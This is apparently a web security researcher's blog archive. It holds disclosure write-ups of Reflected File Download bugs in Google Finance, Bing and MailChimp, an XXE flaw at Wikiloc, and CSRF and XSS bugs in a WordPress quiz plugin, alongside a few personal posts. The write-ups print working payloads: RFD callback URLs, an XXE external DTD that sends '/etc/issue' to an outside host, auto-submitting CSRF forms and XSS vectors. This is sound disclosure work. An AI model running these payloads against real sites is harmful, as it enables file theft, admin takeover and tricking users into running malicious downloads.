David Sopas

web security researcher

David Sopas – Web Security Researcher
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21/01/16 Advisories # , ,

Google Finance Reflected File Download

Google Finance Reflected File Download

Found this vulnerability when auditing other client. With this RFD you don’t need to create a page to force the download.
The request for this Google JSON file already do this for us.

When I noticed this request:

http://www.google.com/finance/info?q=ELI:ALTR&callback=?

Which returned the following information:

// [
{
"id": "703655"
,"t" : "ALTR"
,"e" : "ELI"
,"l" : "4.71"
,"l_fix" : "4.71"
,"l_cur" : "€4.71"
,"s": "0"
,"ltt":"5:35PM GMT+1"
,"lt" : "Dec 15, 5:35PM GMT+1"
,"lt_dts" : "2015-12-15T17:35:40Z"
,"c" : "+0.31"
,"c_fix" : "0.31"
,"cp" : "7.14"
,"cp_fix" : "7.14"
,"ccol" : "chg"
,"pcls_fix" : "4.396"
}
]

I wondered if that callback parameter could be manipulated. So I injected “calc” on the request:

http://www.google.com/finance/info?q=ELI:ALTR&callback=calc

Which returned the following information:

//
calc([
{
"id": "703655"
,"t" : "ALTR"
,"e" : "ELI"
,"l" : "4.71"
,"l_fix" : "4.71"
,"l_cur" : "€4.71"
,"s": "0"
,"ltt":"5:35PM GMT+1"
,"lt" : "Dec 15, 5:35PM GMT+1"
,"lt_dts" : "2015-12-15T17:35:40Z"
,"c" : "+0.31"
,"c_fix" : "0.31"
,"cp" : "7.14"
,"cp_fix" : "7.14"
,"ccol" : "chg"
,"pcls_fix" : "4.396"
}
]
);

Done! Got my injected Windows command on this XHR request. Time to check if the URL is permissive:

http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc

Guess what? I got a URL that automatically shows the download dialog from Google with a batch file.

I tried successfully with the following browsers:

  • Firefox latest version
  • Opera latest version
  • Internet Explorer 8 and 9

What are the limitations?

I noticed in my testing that most of the chars are being sanitized so it only allows you to use one command without spaces or arguments.

Proof-of-concept:
http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc
[when the batch is executed the Windows calculator opens]

http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff
[when the batch is executed the system logoffs the authenticated user]

Possible attack scenario:

  1. Attacker sends the URL – http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff – to the victim.
  2. Victim downloads the file and execute it.
  3. After execution of the batch file it will logoff the victim from the operating system.

I made a small video that illustrates my proof-of-concept:

Google decided that this issue has very little or no security impact. Personally I don’t agree but that’s my opinion :)
So this RFD is still unpatched. I hope they change their mind and fix this soon.

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19/01/16 Advisories # , , ,

Bing Reflected File Download

Bing Reflected File Download

When using Bing online translator I noticed a XHR request on my browser that caught my attention:

http://www.bing.com/translator/LandingPage/GetDefinition?oncomplete=jQuery111207287312552798539_1444907172498&market=en&word=test&_=1444907172499

On which reflected on the screen:

jQuery111207287312552798539_1444907172498();

As a security researcher I always try to find different ways to bypass security specially related to Reflected File Download. So I tried to inject a RFD vector on the parameter “oncomplete”:

http://www.bing.com/translator/LandingPage/GetDefinition?oncomplete=start%20chrome%20davidsopas.com/poc/malware.htm

On which reflected on the screen:

start chrome davidsopas.com/poc/malware.htm();

Using the HTML5 download attribute I was able to send a security report to Microsoft which they fixed within a month.

With this report I was listed on the Security Researcher Acknowledgments for Microsoft Online Services for the forth time.

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18/01/16 Donations # , , , ,

Give!

Give!

I’ve been blessed with the opportunity to help others in need so yesterday I delivered more food to a local animal shelter.
I was received with a big smile and warm hug from the shelter owner. I also had the chance of checking a 22 year old female dog called “Docas”. Such a sweet thing :)

Also I contributed with the yearly maintenance of the web hosting and domain of a public health institution. They care so much for their patients and give their best everyday so I decided they deserve a small help from my part.

Helping others is something that we all should do. You don’t need to donate money.
Sometimes just listening is helping…

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14/01/16 Tips and Tricks # , ,

201 event handlers supported by modern browsers

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11/01/16 Advisories # , , ,

Wikiloc XXE vulnerability

Wikiloc XXE vulnerability

For those who still don’t know Wikiloc:

Wikiloc is a place to discover and share the best outdoor trails for hiking, cycling and many other activities.
We are 1,725,606 members exploring and sharing 3,936,841 outdoor trails and 6,503,289 photos.

I was searching for a cool track to ride my bike [yes I love #cycling] and I created an account on Wikiloc.
I already known the site but never registered. Such a cool site in my opinion.

As a security researcher I always take a look on the web applications requests and transactions and after uploading a XML I remember to test Wikiloc for a XXE vulnerability. This is a very dangerous type of vulnerability and could be used by malicious users to compromise the server.

So let me explain what I did:

First I downloaded a .gpx file from Wikiloc to see the structure of the XML.

I injected the following line on top of the file:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>;

And called the entity on the track name:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
 version="1.0"
 creator="GPSBabel - http://www.gpsbabel.org"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns="http://www.topografix.com/GPX/1/0"
 xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
 <name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
 <ele>178.000000</ele>
 <time>2009-01-10T14:18:10Z</time>
(...)

I uploaded the .gpx file and voilá! Got a request made by Wikiloc server to my own:

GET 144.76.194.66 /XXE/ 10/29/15 1:02 PM Java/1.7.0_51

To make sure that was your server I resolved the IP which was master.wikiloc.com. I also know what version of Java they were are using – 1.7.0_51.

But to show how dangerous it can be I wanted to test for external DTD and request a file hosted on Wikiloc server – /etc/issue [which will return the operating system used].

So I modified other .gpx file with the following code:

<!DOCTYPE roottag [ 
 <!ENTITY % file SYSTEM "file:///etc/issue">
 <!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
 version="1.0"
 creator="GPSBabel - http://www.gpsbabel.org"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns="http://www.topografix.com/GPX/1/0"
 xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
 <name>&send;</name>
(...)

xxe.dtd has the following XML code:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;

I uploaded the new .gpx file and got the following GET request on my server:

144.76.194.66 GET /XXE/?Debian 10/29/15 1:12 PM Java/1.7.0_51

With XXE you can do a variaty of things. A malicious user could upload files, check source-code, launch DDoS attacks, you name it.

This issue its already fixed by Wikiloc. They were very fast and concerned about this. It’s shows that they care about security.
Also they provided me with a token of appreciation (they know exactly how to please a cyclist :) ) and also put my name on their contributors list.

wikiloc_gift

Keep up the good work Wikiloc!

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07/01/16 Swag # , , , , ,

Companies that I’ve helped improve their security

Companies that I’ve helped improve their security

Google, Yahoo!, eBay, Microsoft, Etsy, Nexmo, Weebly, Edmodo, HackerOne, Desk, Adobe, ArubaNetworks, Condé Nast, Linkedin, Acunetix, SendGrid, Rocky Bytes, DepositFiles, Workable, MailChimp, Prestashop, HP, Kaspersky, OLX, RunKeeper, Tumblr, ESET, Symantec, Dowjones, Issuu, Jobs.cz, Alexa/Amazon, McAfee, Booking, AVG, Panda Security, Hootsuite, Circle, DoSomething, Zendesk, Nokia, 123 Contact Form, FoxyCart, Orkut, Segment.io and SilentCircle.

The other ones are private :)

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06/01/16 Interesting Readings , Tips and Tricks # , , ,

Why some vendors ignore RFD attacks?

Why some vendors ignore RFD attacks?

Since I published my Reflected File Download Cheat Sheet I’m getting lot’s of private messages and emails from security researchers and bounty hunters telling that most companies ignore RFD attacks.
So I decided to clear things up and answer three most popular questions.

First a little introduction.
In my opinion they’re three ways of implementing a successful RFD attack.

  1. URL address automatically prompts the download dialog in most popular browsers
  2. Attack is only available using a external page in modern browsers but works like (1) in Internet Explorer 8 and 9 browsers
  3. Attack is only available using a external page in modern browsers

 

“Reflected File Download is a social engineering attack.”

On attack scenario (1) the victim is prompted with a download dialog just by visiting/clicking the URL – just like a reflected XSS but here the victim downloads a file from a trusted source. In 90% of the cases the victim runs the file. Imagine having the following URL:

https://www.google.com/app/setup.bat?callback=calc
[It’s just an example, this will not work]

If the victim runs the URL it will prompt the download of setup.bat. On Chrome you don’t need to see the source because you see the URL. On Firefox and IE you’ll the the source on the download dialog.

Attack scenario (2) works like (1) in IE 8 and 9. Other browsers need a external page to work using HTML5 download attribute.
The attackers in this last case need to launch a malicious campaign with that link. It’s like phishing emails but here the URL is from a trusted source.

Imagine this attack scenario:

  1. Attacker creates a page with a RFD link to a hosting company
  2. That page offers domain or hosting promo codes
  3. When the victim checks the link (mouse hover or view the source code) it will see that’s from a trusted source [the hosting company]
  4. Victim clicks the link and downloads the file (when they view the source of the download they will see the hosting company)
  5. Victim gets hijacked

On attack scenario (3) it’s the same scenario from (2) but don’t work as told before on IE 8 and 9.

Some may consider (2) and (3) a social engineering attack. The attacker needs to attract victims into his RFD page. For me it’s a grey area. They’re lot’s of ways to bring victims to a malicious page [blackhat seo, forums, social networks] without too much trouble. The key point here is that the RFD URL is from a trusted source which give the victim a little of confidence that they will download something that is what they’re are loooking for.
Companies that ignore this will have their reputation affected because they didn’t do anything to prevent this attack to their clients.

 

“We can’t do anything about it. It’s a external page that we can’t control.”

Wrong! On (1) you don’t need a external page.
On (2) and (3) the affected companies can protect and prevent RFD attacks by forcing the filename:

content-disposition:attachment; filename="f.txt"

Even if the attacker external page is using:

<a href="http://RFD_URL" download="setup.bat">Click here</a>

It will try to download f.txt.

Workable fix this by using the following:

workable_fix

 

“Google don’t consider this to be a issue”

Google has a specific page that tells security researchers that Reflected File Download security reports aren’t reliable for a reward.

But at the end of the text you can read the following:

Before sending a report please remember to include a realistic attack scenario, preferably, one that doesn’t require social engineering.

I already sent two (1) issues to Google and they were both accepted. So always give a good attack scenario.

I already helped most popular companies to fix Reflected File Download issues – Yahoo!, eBay, Microsoft, Google, Linkedin and many more.
Keep your security report clear and complete. Don’t argue with the affected company about their opinion. It’s their prerogative to deny your security report. In the end it’s their decision. – Keep calm and carry on!

Have a good and secure year of 2016 :)

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23/12/15 Advisories # , , ,

MailChimp Reflected File Download

MailChimp Reflected File Download

When auditing a MailChimp client for Cobalt.io I noticed that this company suffers from a Reflected File Download vulnerability that could be exploited only by using HTML5 download attribute.

Let’s take a look into the original GET request:

http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&amp;id=91d16923d8&amp;c=?

This request is part of the subscription to a email campaign at MailChimp.
Checking the URL you can see “c” parameter is nothing more than the callback:

?({“result”:”error”,”msg”:”Blank email address”})

Putting my RFD vector on the callback:

http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&amp;id=91d16923d8&amp;c=start%20chrome%20davidsopas.com/poc/malware.htm||

I get the following reflected:

start chrome davidsopas.com/poc/malware.htm||({“result”:”error”,”msg”:”Blank email address”})

Because list-manage.com is not URL permissive I needed to use a external page to create my proof-of-concept:

<div align="center">
<a href="http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=start%20chrome%20davidsopas.com/poc/malware.htm||" download="setup.bat" onclick="return false;"><img src="https://hfweb-assets.s3.amazonaws.com/integrations/mailchimp.png" border="0" /></a>
<h1>Install MailChimp toolbar to improve your email send score!</h1>
<p><i>(Use "Save Link As" to download the file)</i></p>
</div>

So a possible attack scenario would be:

  1. Victim visits a page with a specially crafted page – like my PoC
  2. Victim downloads the file using Save Link As (which comes from a trusted domain – list-manage.com)
  3. Victim gets hijacked

Because the download comes from a trusted domain, victims are tricked to execute files that are not suppose to.
This works perfectly on latest versions of Google Chrome and Opera.

mailchimp_rfd_chrome

MailChimp considered this issue to be a social engineering attack so they’ll not fix it.
In my opinion this is something that this company could prevent from happening just by adding a header to their request. In the end it’s a MailChimp decision not mine.

When I requested the disclosure of this report MailChimp replied:

We neither condone nor prohibit you from adding this to your security blog.

Hope it helps other companies and security researchers to better understand RFD…

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18/12/15 Advisories # , , , , ,

Multiple vulns on mTouch Quiz WordPress plugin

Multiple vulns on mTouch Quiz WordPress plugin

Plugin link: https://wordpress.org/plugins/mtouch-quiz/
Active Installs: 5,000+
Version tested: 3.1.2
CVE Reference: Waiting

mTouch Quiz lets you add quizzes to your site. This plugin was designed with learning, touch friendliness and versatility in mind.

I found multiple vulnerabilities on WordPress plugin – mTouch Quiz <= 3.1.2.

#1 Reflected XSS on Quiz Manage
“quiz” parameter wasn’t properly sanitized therefore you could inject a XSS vector on the URL and get reflected on the screen.

Proof-of-concept:

/wp-admin/edit.php?page=mtouch-quiz%2Fquiz_form.php&quiz=1"><h1>XSS</h1>&action=edit

Looking at the end of the page you could see the injected HTML.

Reflected source-code:

<input type="hidden" name="quiz" value="1\"><h1>XSS</h1>

#2 CSRF on General Options
On plugin general options lacked a security token (like wp_nonce) to prevent CSRF attacks.
Take this form from example:

<form action="https://victims_website/wp-admin/options-general.php?page=mtouchquiz" name="dsopas" method="POST">
<input type="hidden" name="mtq_hidden" value="Y" />
<input type="hidden" name="left_delimiter" value="\(\displaystyle{" />
<input type="hidden" name="right_delimiter" value="}\)" />
<input type="hidden" name="showalerts" value="1" />
<input type="hidden" name="show_support" value="1" />
</form> <script> document.dsopas.submit(); </script>

If a authenticated admin visited this page with this HTML code his settings will be changed.

#3 Add a question using CSRF and get a persistent XSS

This was a critical issue. If a authenticated admin visited a page with this HTML he would add a question with a XSS vector (in my proof-of-concept would prompt a text).
A malicious user could use this to spread a malware, admin takeover, etc…

<form action="https://victims_website/wp-admin/edit.php?page=mtouch-quiz/question.php&quiz=1" name="dsopas" method="POST">
<input type="hidden" name="content" value='<embed src="" type="image/svg+xml" width="300" height="150"></embed>' />
<input type="hidden" name="correct_answer[]" value="1" />
<input type="hidden" name="answer[]" value="test1" />
<input type="hidden" name="hint[]" value="hint1" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="answer[]" value="test2" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="hint[]" value="hint2" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="explanation" value="<h1>xss</h1>" />
<input type="hidden" name="point_value" value="100" />
<input type="hidden" name="quiz" value="1" />
<input type="hidden" name="question" value="" />
<input type="hidden" name="user_ID" value="1" />
<input type="hidden" name="action" value="new" />
<input type="hidden" name="submit" value="Save" />
</form> <script> document.dsopas.submit(); </script>

mtouch-quiz-xss2

#4 Quiz Name XSS

This was a minor issue but if other user level had access to this, he could change the quiz name to a XSS vector and get a persistent XSS.

Solution:
Vendor in a matter of few weeks launched a patched version – 3.1.3. Also he was kind enough to put my name on the changelog.

Corrected several potential security vulnerabilities. Thanks to David Sopas @dsopas for very kindly pointing them out and suggesting effective solutions.

 

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14/12/15 Tips and Tricks # , , ,

XSS on a input hidden field

XSS on a input hidden field

…where you have the input sanitized for ‘<> chars.

I come across a web application on a bounty program where the returnurl was placed in the following HTML:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

The security filter removed <>’ chars but kept the double quote active and reflected.
What’s the first thing that comes to mind?

http://victim/?returnurl=" onclick="prompt(1)

Oh no! Wait… This is a hidden field so most Javascript events can’t work because you can’t see the input box right?
Also you can’t style it to show the field.

What I did was quite simple. I remember that Gareth Heyes wrote a small article on PortSwigger where you can use accesskey to get the XSS working. You press a key on your keyboard and you call a Javascript event. So my injection become:

http://victim/?returnurl=" accesskey="X" onclick="alert(document.domain)

Which reflected:

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />

If the victim uses the accesskey X [usually by using ALT+SHIFT+X – Windows or CTRL+ALT+X in OSX] it will get the domain reflected in the javascript alert box. Keep in mind that this works only at Firefox.

To give a better report and also to bypass their single quote I also sent the following XSS vector:

http://victim/?returnurl=" accesskey="X" onclick="alert(String.fromCharCode(39,89,111,117,32,103,111,116,32,88,83,83,101,100,33,39))

It requires more user interaction but might give the bug appreciation program the Woooo! Factor :)

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